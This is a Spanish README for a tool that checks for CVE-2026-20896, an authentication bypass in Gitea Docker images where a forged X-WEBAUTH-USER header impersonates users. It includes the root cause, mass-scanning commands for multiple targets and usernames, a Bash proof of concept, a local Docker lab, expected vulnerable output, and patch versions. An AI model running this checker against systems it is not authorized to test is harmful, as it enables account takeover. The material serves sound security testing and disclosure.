
Comprobador de bypass de autenticación X-WEBAUTH-USER en Gitea Docker CVE-2026-20896
Solo para operaciones autorizadas de red team / pentest.
Este repositorio contiene un comprobador mínimo para CVE-2026-20896, una omisión de autenticación en las imágenes oficiales de Gitea Docker hasta 1.26.2 inclusive cuando la autenticación mediante proxy inverso está habilitada.
Las imágenes afectadas de Gitea Docker incluían una plantilla app.ini con:
REVERSE_PROXY_TRUSTED_PROXIES = *
Cuando un administrador habilitaba:
ENABLE_REVERSE_PROXY_AUTHENTICATION = true
Gitea confiaba en X-WEBAUTH-USER desde cualquier IP de origen que pudiera alcanzar el puerto HTTP del contenedor directamente. Un cliente que eludiera el proxy inverso autenticador previsto podía enviar una única cabecera y suplantar a un usuario conocido o adivinable.
El impacto práctico es la suplantación de cuentas sin autenticación. Si el usuario adivinado es un administrador, el peor caso es la toma de control completa a nivel de aplicación de la instancia de Gitea y sus repositorios. El RCE del host depende del entorno y este comprobador no lo reivindica.
Las versiones parcheadas comienzan en 1.26.3; se recomienda actualizar a 1.26.4 o superior.
El comprobador:
Powered by Gitea Version: 1.26.4.>= 1.26.3.GET / con X-WEBAUTH-USER: <username> para cada nombre de usuario proporcionado.La versión en Go admite múltiples objetivos, archivos de nombres de usuario, concurrencia, tiempos de espera, salida JSONL, TLS --insecure, --dry-run y --force.
go build -o gitea-cve-2026-20896-check .
No se requieren dependencias Go de terceros.
Objetivo único:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,gitea_admin,alice
Múltiples objetivos y nombres de usuario:
./gitea-cve-2026-20896-check \
--targets targets.txt \
--user-file users.txt \
--concurrency 64 \
--timeout 8s \
--jsonl
Prueba en seco:
./gitea-cve-2026-20896-check \
--url http://localhost:3000 \
--users admin,alice \
--dry-run
Alternativa en Bash:
./poc.sh --url http://localhost:3000 --users admin,alice
0: se confirmó al menos una suplantación vulnerable1: no se confirmó ninguna suplantación vulnerable2: error de uso, de entrada o en tiempo de ejecuciónEl siguiente laboratorio inicia un contenedor local de Gitea afectado y crea un usuario de prueba:
docker run -d --name gitea-cve-2026-20896 \
-p 127.0.0.1:3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git gitea-cve-2026-20896 gitea admin user create \
--username alice \
--password 'longpasswordhere1234' \
--email [email protected] \
--must-change-password=false
./gitea-cve-2026-20896-check --url http://localhost:3000 --users bob,alice,admin
Resultado positivo esperado:
[VULNERABLE] http://localhost:3000 user=alice title="alice - Dashboard - Gitea: Git with a cup of tea"
Limpieza:
docker rm -f gitea-cve-2026-20896
1.26.3 o superior; se prefiere 1.26.4 o superior.1.26.3 / 1.26.4: https://blog.gitea.com/release-of-1.26.3-and-1.26.4/